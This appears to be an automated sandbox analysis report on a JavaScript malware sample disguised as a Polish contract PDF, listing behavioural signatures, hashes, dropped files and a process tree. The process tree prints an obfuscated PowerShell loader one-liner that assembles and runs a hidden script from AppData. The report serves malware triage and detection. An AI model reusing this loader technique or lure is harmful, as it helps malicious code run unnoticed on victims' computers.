Resubmissions

04/08/2026, 13:02

260804-p998aaxvbw8

31/07/2026, 12:47

260731-p1e1satxfs8

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 13:02

General

  • Target
    PLIK UMOWY-pdf.js
  • Size 39KB
  • Sample260804-p998aaxvbw
  • SHA256 0046ec45bc6c207c5cfb99bcf5d52c34b6a6e577e0dc621da8ab9da71228b517
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\PLIK UMOWY-pdf.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:940
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" "C:\Users\Admin\AppData\Local\Temp\Tautomeral.lnk"
      2⤵
        PID:4408
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4564
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c START "Bifagsstudiet" /min /HIGH powershell.exe -NOLOGO -COMMAND "$Rombudding21='/app'+'data';$Udsaltningerne=gc ($home+$Rombudding21+'/local/Menneskeforagtens');$Dumbfounder=$Udsaltningerne[5416]+$Udsaltningerne[5417]+$Udsaltningerne[5418]; . ($Dumbfounder) $Udsaltningerne"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5012
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NOLOGO -COMMAND "$Rombudding21='/app'+'data';$Udsaltningerne=gc ($home+$Rombudding21+'/local/Menneskeforagtens');$Dumbfounder=$Udsaltningerne[5416]+$Udsaltningerne[5417]+$Udsaltningerne[5418]; . ($Dumbfounder) $Udsaltningerne"
          3⤵
          • Badlisted process makes network request
          • Drops file in System32 directory
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4008

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          Tautomeral.lnk

          • Path C:\Users\Admin\AppData\Local\Temp\Tautomeral.lnk
          • Size 1KB
          • SHA256 87b1713d33e5329500d1a078105d98b3d8577bb8aa9d4b133009d592242f5d28
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_rzz3itv0.jxb.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rzz3itv0.jxb.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          Menneskeforagtens

          • Path C:\Users\Admin\appdata\local\Menneskeforagtens
          • Size 5KB
          • SHA256 72be4d6d62e9a3e8b1aa0b5588b01063851622bca29fa2548426094d83e04bac
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/4008-5-0x000001685E5C0000-0x000001685E5E2000-memory.dmp